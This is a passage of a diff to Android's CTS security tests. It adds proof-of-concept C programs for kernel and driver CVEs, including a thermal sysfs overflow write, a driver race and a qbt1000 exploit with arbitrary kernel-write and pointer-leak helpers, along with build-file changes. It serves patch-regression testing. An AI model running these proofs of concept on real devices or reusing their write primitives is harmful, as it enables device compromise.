+ sp<IServiceManager> sm = defaultServiceManager();
+ sp<IBinder> binder = sm->getService(String16("media.audio_flinger"));
+
+ if (binder.get() == NULL) {
+ return NULL;
+ }
+
+ Parcel data, reply;
+ sp<IBinder> effect;
+
+ if (pDesc == NULL) {
+ return effect;
+ if (status != NULL) {
+ *status = BAD_VALUE;
+ }
+ }
+
+ data.writeInterfaceToken(String16("android.media.IAudioFlinger"));
+ data.write(pDesc, sizeof(effect_descriptor_t));
+ data.writeStrongBinder(IInterface::asBinder(client));
+ data.writeInt32(priority);
+ data.writeInt32((int32_t)output);
+ data.writeInt32(sessionId);
+ data.writeString16(opPackageName);
+
+ status_t lStatus = binder->transact(40 /*CREATE_EFFECT*/, data, &reply);
+ if (lStatus == NO_ERROR) {
+ lStatus = reply.readInt32();
+ int tmp = reply.readInt32();
+ if (id != NULL) {
+ *id = tmp;
+ }
+ tmp = reply.readInt32();
+ if (enabled != NULL) {
+ *enabled = tmp;
+ }
+ effect = reply.readStrongBinder();
+ reply.read(pDesc, sizeof(effect_descriptor_t));
+ }
+ if (status != NULL) {
+ *status = lStatus;
+ }
+
+ return effect;
+}
+
+static status_t command(sp<IBinder> binder, uint32_t cmdCode, uint32_t cmdSize,
+ void *pCmdData, uint32_t *pReplySize,
+ void *pReplyData) {
+ Parcel data, reply;
+ data.writeInterfaceToken(String16("android.media.IEffect"));
+ data.writeInt32(cmdCode);
+ int size = cmdSize;
+ if (pCmdData == NULL) {
+ size = 0;
+ }
+ data.writeInt32(size);
+ if (size) {
+ data.write(pCmdData, size);
+ }
+ if (pReplySize == NULL) {
+ size = 0;
+ } else {
+ size = *pReplySize;
+ }
+ data.writeInt32(size);
+
+ status_t status = binder->transact(3 /*COMMAND*/, data, &reply);
+ if (status == NO_ERROR) {
+ status = reply.readInt32();
+ }
+ if (status != NO_ERROR) {
+ if (pReplySize != NULL) *pReplySize = 0;
+ ALOGI("command status: %d", status);
+ return status;
+ }
+
+ size = reply.readInt32();
+ if (size != 0 && pReplyData != NULL && pReplySize != NULL) {
+ reply.read(pReplyData, size);
+ *pReplySize = size;
+ }
+ return status;
+}
+
+#define FIVEBAND_NUMBANDS 5
+#define MAX_NUM_BANDS 5
+#define MAX_CALL_SIZE 256
+#define LVM_MAX_SESSIONS 32
+#define LVM_UNUSED_SESSION INT_MAX
+#define BASS_BOOST_CUP_LOAD_ARM9E 150 // Expressed in 0.1 MIPS
+#define VIRTUALIZER_CUP_LOAD_ARM9E 120 // Expressed in 0.1 MIPS
+#define EQUALIZER_CUP_LOAD_ARM9E 220 // Expressed in 0.1 MIPS
+#define VOLUME_CUP_LOAD_ARM9E 0 // Expressed in 0.1 MIPS
+#define BUNDLE_MEM_USAGE 25 // Expressed in kB
+static effect_descriptor_t gVirtualizerDescriptor = {
+ {0x37cc2c00, 0xdddd, 0x11db, 0x8577, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}},
+ {0x1d4033c0, 0x8557, 0x11df, 0x9f2d, {0x00, 0x02, 0xa5, 0xd5, 0xc5, 0x1b}},
+ EFFECT_CONTROL_API_VERSION,
+ (EFFECT_FLAG_TYPE_INSERT | EFFECT_FLAG_INSERT_LAST |
+ EFFECT_FLAG_DEVICE_IND | EFFECT_FLAG_VOLUME_CTRL),
+ VIRTUALIZER_CUP_LOAD_ARM9E,
+ BUNDLE_MEM_USAGE,
+ "Virtualizer",
+ "NXP Software Ltd.",
+};
+
+int main() {
+ sp<EffectClient> effectClient(new EffectClient());
+
+ const int32_t priority = 0;
+ audio_session_t sessionId = AUDIO_SESSION_OUTPUT_MIX;
+ const audio_io_handle_t io = AUDIO_IO_HANDLE_NONE;
+ const String16 opPackageName("com.exp.poc");
+ int32_t id;
+ int enabled;
+ status_t err;
+
+ sp<IBinder> effect =
+ createEffect(&gVirtualizerDescriptor, effectClient, priority, io,
+ sessionId, opPackageName, &err, &id, &enabled);
+ if (effect == NULL || err != NO_ERROR) {
+ return 0;
+ }
+
+ uint32_t cmdCode, cmdSize, replySize;
+ void *pCmdData, *pReplyData;
+
+ effect_param_t *param;
+ param =
+ (effect_param_t *)malloc(sizeof(effect_param_t) + sizeof(uint32_t) * 3);
+ param->psize = sizeof(uint32_t) * 3;
+ param->vsize = 12;
+ *((uint32_t *)param->data) = 2; // VIRTUALIZER_PARAM_VIRTUAL_SPEAKER_ANGLES
+ *((uint32_t *)param->data + 1) = 1; // nbChannels
+ *((uint32_t *)param->data + 2) = 4; // deviceType
+
+ cmdCode = EFFECT_CMD_GET_PARAM;
+ cmdSize = sizeof(effect_param_t) + sizeof(uint32_t) * 3;
+ pCmdData = param;
+ replySize = sizeof(effect_param_t) + sizeof(uint32_t) * 3;
+ pReplyData = malloc(0x100);
+
+ command(effect, cmdCode, cmdSize, pCmdData, &replySize, pReplyData);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
index 91d154c..0a02b5e 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0564/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
index c62755c..28e49a5 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0576/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
index 0ef89c5..521bf98 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0577/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
index 494b8c5..dab0081 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0579/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
index 6350b07..ec3a6f6 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0580/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
index 393bf6c..1dc269d9 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0586/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0624/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0624/Android.mk
new file mode 100644
index 0000000..ee4974c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0624/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-0624
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0624/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0624/poc.c
new file mode 100644
index 0000000..6b6038f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-0624/poc.c
@@ -0,0 +1,81 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#define _GNU_SOURCE
+#include <asm/ioctl.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <unistd.h>
+
+#define DEBUG
+#ifdef DEBUG
+#define LOG(fmt, ...) \
+ do { \
+ printf("%s:%d: " fmt "\n", __FUNCTION__, __LINE__, ##__VA_ARGS__); \
+ } while (0)
+#else
+#define LOG(fmt, ...)
+#endif
+
+const char *infopath = "/proc/debugdriver/driverdump";
+
+void trigger(void);
+void ThreadFun(void);
+int test_read(int fd);
+
+int test_read(int fd) {
+#define SIZE 700
+ int ret;
+ char buf[SIZE] = {1};
+ ret = read(fd, buf, SIZE);
+ return 0;
+}
+
+void ThreadFun(void) {
+ int fd = -1;
+ size_t count = 1000;
+ while (count-- > 0) {
+ fd = open(infopath, O_RDWR);
+ if (fd > 0) {
+ test_read(fd);
+ close(fd);
+ fd = -1;
+ }
+ }
+}
+
+#define TC 20
+void trigger() {
+ int i, ret;
+ pthread_t tids[TC];
+ for (i = 0; i < TC; i++) {
+ ret = pthread_create((pthread_t *)&tids[i], NULL, (void *)ThreadFun, NULL);
+ }
+
+ for (i = 0; i < TC; i++) pthread_join(tids[i], NULL);
+}
+
+int main(int argc, char *argv[]) {
+ trigger();
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
index bbde6e2..dd11e97 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-0705/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-6264/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-6264/Android.mk
new file mode 100644
index 0000000..33bdbbc
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-6264/Android.mk
@@ -0,0 +1,36 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-6264
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS += -Wall -Werror -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+LOCAL_CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+LOCAL_CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+LOCAL_CFLAGS += -Wno-unused-parameter -Wno-unused-variable -Wno-macro-redefined
+LOCAL_CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LOCAL_LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-6264/poc.c b/hostsidetests/security/securityPatch/CVE-2017-6264/poc.c
new file mode 100644
index 0000000..ba282ac
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-6264/poc.c
@@ -0,0 +1,47 @@
+#define _GNU_SOURCE
+
+#include <string.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <linux/futex.h>
+#include <pthread.h>
+#include <sched.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/syscall.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#define LOG(fmt, ...) printf(fmt "\n", ##__VA_ARGS__)
+#define ERR(fmt, ...) \
+ printf(fmt ": %d(%s)\n", ##__VA_ARGS__, errno, strerror(errno))
+#define ARRAY_SIZE(a) (sizeof(a) / sizeof((a)[0]))
+
+static int set_affinity(int num) {
+ int ret = 0;
+ cpu_set_t mask;
+ CPU_ZERO(&mask);
+ CPU_SET(num, &mask);
+ ret = sched_setaffinity(0, sizeof(cpu_set_t), &mask);
+ return ret;
+}
+
+#define TARGET "/sys/devices/virtual/thermal/cooling_device2/cur_state"
+int main(int argc, char *argv[]) {
+ int i, ret, fd;
+ char buf[PAGE_SIZE] = "2147483647";
+
+ /* bind_cpu */
+ set_affinity(0);
+
+ fd = open(TARGET, O_RDWR);
+
+ ret = write(fd, buf, strlen(buf));
+ close(fd);
+ return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
index 9d1d3d1..ee76324 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-7369/Android.mk
@@ -22,7 +22,7 @@
LOCAL_SRC_FILES := poc.c
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
index 0d1d60b..6cf70f2 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-8263/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
index 0a5b344..f4f2c57 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-9678/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk
new file mode 100644
index 0000000..59da1a7
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-9680/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2017 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2017-9680
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c b/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c
new file mode 100644
index 0000000..3d2835a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2017-9680/poc.c
@@ -0,0 +1,267 @@
+/**
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <errno.h>
+#include <fcntl.h>
+#include <pthread.h>
+#include <stdbool.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/socket.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+static const char *dev = "/dev/qbt1000";
+
+#define QBT1000_SNS_SERVICE_ID 0x138
+#define QBT1000_SNS_SERVICE_VER_ID 1
+#define QBT1000_SNS_INSTANCE_INST_ID 0
+
+#define SNS_QFP_OPEN_RESP_V01 0x0020
+
+#define QMI_REQUEST_CONTROL_FLAG 0x00
+#define QMI_RESPONSE_CONTROL_FLAG 0x02
+#define QMI_INDICATION_CONTROL_FLAG 0x04
+#define QMI_HEADER_SIZE 7
+
+#define OPTIONAL_TLV_TYPE_START 0x10
+
+enum elem_type {
+ QMI_OPT_FLAG = 1,
+ QMI_DATA_LEN,
+ QMI_UNSIGNED_1_BYTE,
+ QMI_UNSIGNED_2_BYTE,
+ QMI_UNSIGNED_4_BYTE,
+ QMI_UNSIGNED_8_BYTE,
+ QMI_SIGNED_2_BYTE_ENUM,
+ QMI_SIGNED_4_BYTE_ENUM,
+ QMI_STRUCT,
+ QMI_STRING,
+ QMI_EOTI,
+};
+
+volatile int cont = 1;
+
+struct qmi_header {
+ unsigned char cntl_flag;
+ uint16_t txn_id;
+ uint16_t msg_id;
+ uint16_t msg_len;
+} __attribute__((__packed__));
+
+struct qseecom_handle {
+ void *dev;
+ unsigned char *sbuf;
+ uint32_t sbuf_len;
+};
+
+enum qbt1000_commands {
+ QBT1000_LOAD_APP = 100,
+ QBT1000_UNLOAD_APP = 101,
+ QBT1000_SEND_TZCMD = 102
+};
+
+struct qbt1000_app {
+ struct qseecom_handle **app_handle;
+ char name[32];
+ uint32_t size;
+ uint8_t high_band_width;
+};
+
+struct qbt1000_send_tz_cmd {
+ struct qseecom_handle *app_handle;
+ uint8_t *req_buf;
+ uint32_t req_buf_len;
+ uint8_t *rsp_buf;
+ uint32_t rsp_buf_len;
+};
+
+struct msm_ipc_port_addr {
+ uint32_t node_id;
+ uint32_t port_id;
+};
+
+struct msm_ipc_port_name {
+ uint32_t service;
+ uint32_t instance;
+};
+
+struct msm_ipc_addr {
+ unsigned char addrtype;
+ union {
+ struct msm_ipc_port_addr port_addr;
+ struct msm_ipc_port_name port_name;
+ } addr;
+};
+
+#define AF_MSM_IPC 27
+
+#define PF_MSM_IPCAF_MSM_IPC
+
+#define MSM_IPC_ADDR_NAME 1
+#define MSM_IPC_ADDR_ID 2
+
+struct sockaddr_msm_ipc {
+ unsigned short family;
+ struct msm_ipc_addr address;
+ unsigned char reserved;
+};
+
+struct qbt1000_app app = {0};
+
+static int get_fd(const char *dev_node) {
+ int fd;
+ fd = open(dev_node, O_RDWR);
+ if (fd < 0) {
+ cont = 0;
+ exit(EXIT_FAILURE);
+ }
+
+ return fd;
+}
+
+static void leak_heap_ptr(int fd) {
+ void *addr = NULL;
+ app.app_handle = (void *)&addr;
+ app.size = 32;
+ ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_load_app(int fd) {
+ struct qbt1000_app app = {0};
+
+ app.app_handle = (void *)0xABADACCE55013337;
+ ioctl(fd, QBT1000_LOAD_APP, &app);
+}
+
+static void arb_kernel_write_send_tzcmd(int fd) {
+ struct qseecom_handle hdl = {0};
+ struct qbt1000_send_tz_cmd cmd = {0};
+ int x = 0;
+
+ hdl.sbuf = (void *)0xffffffc0017b1b84;
+ cmd.app_handle = &hdl;
+ cmd.req_buf = &x;
+ cmd.rsp_buf = NULL;
+ cmd.req_buf_len = cmd.rsp_buf_len = 4;
+
+ ioctl(fd, QBT1000_SEND_TZCMD, &cmd);
+}
+
+static void print_msg(char *msg) {
+ int i;
+ for (i = 0; i < 4096; i++) printf("%hx ", msg[i]);
+ printf("\n");
+}
+
+static void recv_msgs(int fd) {
+ struct msghdr msg = {0};
+ struct iovec io = {0};
+ struct sockaddr_msm_ipc addr = {0};
+ struct msm_ipc_addr address = {0};
+ uint8_t *ptr;
+ struct qmi_header *hdr;
+ int count = 1;
+
+ io.iov_base = malloc(4096);
+ memset(io.iov_base, 0, 4096);
+ io.iov_len = 4096;
+
+ msg.msg_iovlen = 1;
+ msg.msg_iov = &io;
+ msg.msg_name = &addr;
+ msg.msg_namelen = sizeof(addr);
+
+ while (cont) {
+ recvmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+ memset(io.iov_base, 0, 128);
+ hdr = io.iov_base;
+
+ hdr->cntl_flag = QMI_RESPONSE_CONTROL_FLAG;
+ hdr->txn_id = count++;
+ hdr->msg_id = SNS_QFP_OPEN_RESP_V01;
+ hdr->msg_len = 3;
+
+ ptr = io.iov_base + sizeof(*hdr);
+
+ *ptr = OPTIONAL_TLV_TYPE_START;
+ ptr++;
+ *ptr = 0;
+ ptr++;
+ *ptr = 0;
+ sendmsg(fd, &msg, MSG_CMSG_CLOEXEC);
+ }
+}
+
+#define BUILD_INSTANCE_ID(vers, ins) (((vers)&0xFF) | (((ins)&0xFF) << 8))
+static void setup_ipc_server(void) {
+ int fd;
+ struct sockaddr_msm_ipc addr = {0};
+ fd = socket(AF_MSM_IPC, SOCK_DGRAM, 0);
+
+ if (fd < 0) {
+ printf("Couldn't open socket %s\n", strerror(errno));
+ exit(EXIT_FAILURE);
+ }
+
+ addr.family = AF_MSM_IPC;
+ addr.address.addrtype = MSM_IPC_ADDR_NAME;
+ addr.address.addr.port_name.service = QBT1000_SNS_SERVICE_ID;
+ addr.address.addr.port_name.instance = BUILD_INSTANCE_ID(
+ QBT1000_SNS_SERVICE_VER_ID, QBT1000_SNS_INSTANCE_INST_ID);
+
+ bind(fd, (struct sockaddr *)&addr, sizeof(addr));
+ recv_msgs(fd);
+}
+
+static void *leak_ptr(void *ignore) {
+ void *save;
+ while (cont) {
+ if (app.app_handle != NULL) {
+ save = *app.app_handle;
+ if (save != NULL) {
+ break;
+ }
+ }
+ }
+ return (void *)NULL;
+}
+
+static void *do_ipc_crap(void *ignore) {
+ setup_ipc_server();
+ return (void *)NULL;
+}
+
+int main(void) {
+ int fd;
+
+ pthread_t race_car;
+ pthread_t race_car1;
+ pthread_create(&race_car, NULL, do_ipc_crap, NULL);
+ usleep(50000);
+
+ fd = get_fd(dev);
+
+ for (;;) {
+ int err = ioctl(fd, 0, (unsigned long)-4095);
+
+ usleep(5000);
+ }
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk b/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
index fa5539b..c6a7471 100644
--- a/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
+++ b/hostsidetests/security/securityPatch/CVE-2017-9692/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
LOCAL_CTS_TEST_PACKAGE := android.security.cts
LOCAL_ARM_MODE := arm
diff --git a/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java b/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
new file mode 100644
index 0000000..b5a456c
--- /dev/null
+++ b/hostsidetests/security/src/android/cts/security/ProcessMustUseSeccompTest.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.security.cts;
+
+import com.android.compatibility.common.util.CpuFeatures;
+import com.android.compatibility.common.util.PropertyUtil;
+import com.android.tradefed.device.CollectingOutputReceiver;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceTestCase;
+
